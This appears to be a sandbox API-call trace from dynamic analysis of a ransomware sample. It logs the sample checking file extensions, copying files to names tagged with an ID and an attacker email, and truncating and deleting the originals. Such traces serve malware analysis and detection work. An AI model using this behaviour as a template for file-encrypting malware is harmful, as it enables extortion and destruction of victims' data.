	[0063.804] lstrlenW (lpString=".xlsx") returned 5
	[0063.804] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.804] lstrlenW (lpString=".ppt") returned 4
	[0063.804] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.804] lstrlenW (lpString=".zip") returned 4
	[0063.804] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.804] lstrlenW (lpString=".rar") returned 4
	[0063.804] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.804] lstrlenW (lpString=".bz2") returned 4
	[0063.804] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.804] lstrlenW (lpString=".7z") returned 3
	[0063.804] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.804] lstrlenW (lpString=".dbf") returned 4
	[0063.804] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.805] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.805] lstrlenW (lpString=".1cd") returned 4
	[0063.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.805] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.805] lstrlenW (lpString=".jpg") returned 4
	[0063.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.805] lstrcmpiW (lpString1=".bmp", lpString2=".html") returned -1
	[0063.805] lstrlenW (lpString="watermark.bmp") returned 13
	[0063.805] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.805] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=104072) returned 1
	[0063.805] CloseHandle (hObject=0x2c8) returned 1
	[0063.806] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80
	[0063.806] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.806] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.806] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.806] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.806] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.807] GetLastError () returned 0x0
	[0063.807] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x19688, lpOverlapped=0x0) returned 1
	[0063.811] WriteFile (in: hFile=0x328, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x19690, lpOverlapped=0x0) returned 1
	[0063.815] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.815] WriteFile (in: hFile=0x328, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xee, lpOverlapped=0x0) returned 1
	[0063.815] SetEndOfFile (hFile=0x328) returned 1
	[0063.815] CloseHandle (hObject=0x328) returned 1
	[0063.831] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.831] SetEndOfFile (hFile=0x2c8) returned 1
	[0063.833] CloseHandle (hObject=0x2c8) returned 1
	[0063.833] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.833] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1
	[0063.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.834] lstrlenW (lpString=".doc") returned 4
	[0063.834] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0063.834] lstrlenW (lpString=".docx") returned 5
	[0063.834] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0063.834] lstrlenW (lpString=".pdf") returned 4
	[0063.834] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0063.834] lstrlenW (lpString=".xls") returned 4
	[0063.834] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0063.834] lstrlenW (lpString=".xlsx") returned 5
	[0063.834] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0063.834] lstrlenW (lpString=".ppt") returned 4
	[0063.834] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0063.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.834] lstrlenW (lpString=".zip") returned 4
	[0063.834] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0063.834] lstrlenW (lpString=".rar") returned 4
	[0063.834] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0063.834] lstrlenW (lpString=".bz2") returned 4
	[0063.835] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0063.835] lstrlenW (lpString=".7z") returned 3
	[0063.835] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0063.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.835] lstrlenW (lpString=".dbf") returned 4
	[0063.835] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0063.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.835] lstrlenW (lpString=".1cd") returned 4
	[0063.835] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0063.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.835] lstrlenW (lpString=".jpg") returned 4
	[0063.835] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0063.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.835] lstrlenW (lpString=".doc") returned 4
	[0063.835] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0063.835] lstrlenW (lpString=".docx") returned 5
	[0063.835] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0063.835] lstrlenW (lpString=".pdf") returned 4
	[0063.835] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0063.835] lstrlenW (lpString=".xls") returned 4
	[0063.835] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0063.835] lstrlenW (lpString=".xlsx") returned 5
	[0063.835] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0063.835] lstrlenW (lpString=".ppt") returned 4
	[0063.836] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0063.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.836] lstrlenW (lpString=".zip") returned 4
	[0063.836] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0063.836] lstrlenW (lpString=".rar") returned 4
	[0063.836] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0063.836] lstrlenW (lpString=".bz2") returned 4
	[0063.836] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0063.836] lstrlenW (lpString=".7z") returned 3
	[0063.836] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0063.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.836] lstrlenW (lpString=".dbf") returned 4
	[0063.836] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0063.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.836] lstrlenW (lpString=".1cd") returned 4
	[0063.836] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0063.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0063.836] lstrlenW (lpString=".jpg") returned 4
	[0063.836] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0063.836] lstrcmpiW (lpString1=".LOG", lpString2=".html") returned 1
	[0063.836] lstrlenW (lpString="BCD.LOG") returned 7
	[0063.837] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0063.837] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0063.837] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0063.837] lstrlenW (lpString=".doc") returned 4
	[0063.837] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0063.837] lstrlenW (lpString=".docx") returned 5
	[0063.837] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0063.837] lstrlenW (lpString=".pdf") returned 4
	[0063.837] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0064.216] lstrlenW (lpString=".xls") returned 4
	[0064.216] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0064.216] lstrlenW (lpString=".xlsx") returned 5
	[0064.217] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0064.217] lstrlenW (lpString=".ppt") returned 4
	[0064.217] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0064.217] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.217] lstrlenW (lpString=".zip") returned 4
	[0064.217] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0064.217] lstrlenW (lpString=".rar") returned 4
	[0064.217] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0064.217] lstrlenW (lpString=".bz2") returned 4
	[0064.217] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0064.217] lstrlenW (lpString=".7z") returned 3
	[0064.217] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0064.217] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.217] lstrlenW (lpString=".dbf") returned 4
	[0064.217] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0064.217] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.217] lstrlenW (lpString=".1cd") returned 4
	[0064.217] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0064.217] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.217] lstrlenW (lpString=".jpg") returned 4
	[0064.217] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0064.217] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.217] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.217] lstrlenW (lpString=".doc") returned 4
	[0064.217] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0064.217] lstrlenW (lpString=".docx") returned 5
	[0064.217] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0064.217] lstrlenW (lpString=".pdf") returned 4
	[0064.217] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0064.217] lstrlenW (lpString=".xls") returned 4
	[0064.217] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0064.217] lstrlenW (lpString=".xlsx") returned 5
	[0064.218] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0064.218] lstrlenW (lpString=".ppt") returned 4
	[0064.218] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0064.218] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.218] lstrlenW (lpString=".zip") returned 4
	[0064.218] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0064.218] lstrlenW (lpString=".rar") returned 4
	[0064.218] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0064.218] lstrlenW (lpString=".bz2") returned 4
	[0064.218] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0064.218] lstrlenW (lpString=".7z") returned 3
	[0064.218] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0064.218] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.218] lstrlenW (lpString=".dbf") returned 4
	[0064.218] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0064.218] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.218] lstrlenW (lpString=".1cd") returned 4
	[0064.218] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0064.218] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0064.218] lstrlenW (lpString=".jpg") returned 4
	[0064.218] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0064.218] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0064.218] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0064.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.381] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=48936) returned 1
	[0064.381] CloseHandle (hObject=0x364) returned 1
	[0064.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0064.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.382] lstrlenW (lpString=".doc") returned 4
	[0064.382] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.382] lstrlenW (lpString=".docx") returned 5
	[0064.382] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0064.382] lstrlenW (lpString=".pdf") returned 4
	[0064.382] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.382] lstrlenW (lpString=".xls") returned 4
	[0064.382] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.382] lstrlenW (lpString=".xlsx") returned 5
	[0064.382] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0064.382] lstrlenW (lpString=".ppt") returned 4
	[0064.382] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.382] lstrlenW (lpString=".zip") returned 4
	[0064.382] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.382] lstrlenW (lpString=".rar") returned 4
	[0064.382] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.382] lstrlenW (lpString=".bz2") returned 4
	[0064.382] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.382] lstrlenW (lpString=".7z") returned 3
	[0064.382] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.382] lstrlenW (lpString=".dbf") returned 4
	[0064.382] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.383] lstrlenW (lpString=".1cd") returned 4
	[0064.383] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.383] lstrlenW (lpString=".jpg") returned 4
	[0064.383] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.383] lstrlenW (lpString=".doc") returned 4
	[0064.383] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString=".docx") returned 5
	[0064.383] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0064.383] lstrlenW (lpString=".pdf") returned 4
	[0064.383] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString=".xls") returned 4
	[0064.383] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString=".xlsx") returned 5
	[0064.383] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0064.383] lstrlenW (lpString=".ppt") returned 4
	[0064.383] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.383] lstrlenW (lpString=".zip") returned 4
	[0064.383] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString=".rar") returned 4
	[0064.383] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.383] lstrlenW (lpString=".bz2") returned 4
	[0064.383] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.384] lstrlenW (lpString=".7z") returned 3
	[0064.384] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.384] lstrlenW (lpString=".dbf") returned 4
	[0064.384] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.384] lstrlenW (lpString=".1cd") returned 4
	[0064.384] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0064.384] lstrlenW (lpString=".jpg") returned 4
	[0064.384] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.384] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.384] lstrlenW (lpString="ipsar.xml") returned 9
	[0064.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.394] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2418) returned 1
	[0064.394] CloseHandle (hObject=0x364) returned 1
	[0064.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20
	[0064.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.396] lstrlenW (lpString=".doc") returned 4
	[0064.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.396] lstrlenW (lpString=".docx") returned 5
	[0064.396] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0064.396] lstrlenW (lpString=".pdf") returned 4
	[0064.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.396] lstrlenW (lpString=".xls") returned 4
	[0064.397] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString=".xlsx") returned 5
	[0064.397] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0064.397] lstrlenW (lpString=".ppt") returned 4
	[0064.397] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.397] lstrlenW (lpString=".zip") returned 4
	[0064.397] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.397] lstrlenW (lpString=".rar") returned 4
	[0064.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString=".bz2") returned 4
	[0064.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString=".7z") returned 3
	[0064.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.397] lstrlenW (lpString=".dbf") returned 4
	[0064.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.397] lstrlenW (lpString=".1cd") returned 4
	[0064.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.397] lstrlenW (lpString=".jpg") returned 4
	[0064.397] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.397] lstrlenW (lpString=".doc") returned 4
	[0064.397] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.397] lstrlenW (lpString=".docx") returned 5
	[0064.397] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0064.397] lstrlenW (lpString=".pdf") returned 4
	[0064.398] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.398] lstrlenW (lpString=".xls") returned 4
	[0064.398] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.398] lstrlenW (lpString=".xlsx") returned 5
	[0064.398] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0064.398] lstrlenW (lpString=".ppt") returned 4
	[0064.398] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.398] lstrlenW (lpString=".zip") returned 4
	[0064.398] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.398] lstrlenW (lpString=".rar") returned 4
	[0064.398] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.398] lstrlenW (lpString=".bz2") returned 4
	[0064.398] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.398] lstrlenW (lpString=".7z") returned 3
	[0064.398] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.398] lstrlenW (lpString=".dbf") returned 4
	[0064.398] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.398] lstrlenW (lpString=".1cd") returned 4
	[0064.398] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0064.398] lstrlenW (lpString=".jpg") returned 4
	[0064.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.398] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.398] lstrlenW (lpString="ipschs.xml") returned 10
	[0064.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.416] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2462) returned 1
	[0064.416] CloseHandle (hObject=0x364) returned 1
	[0064.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20
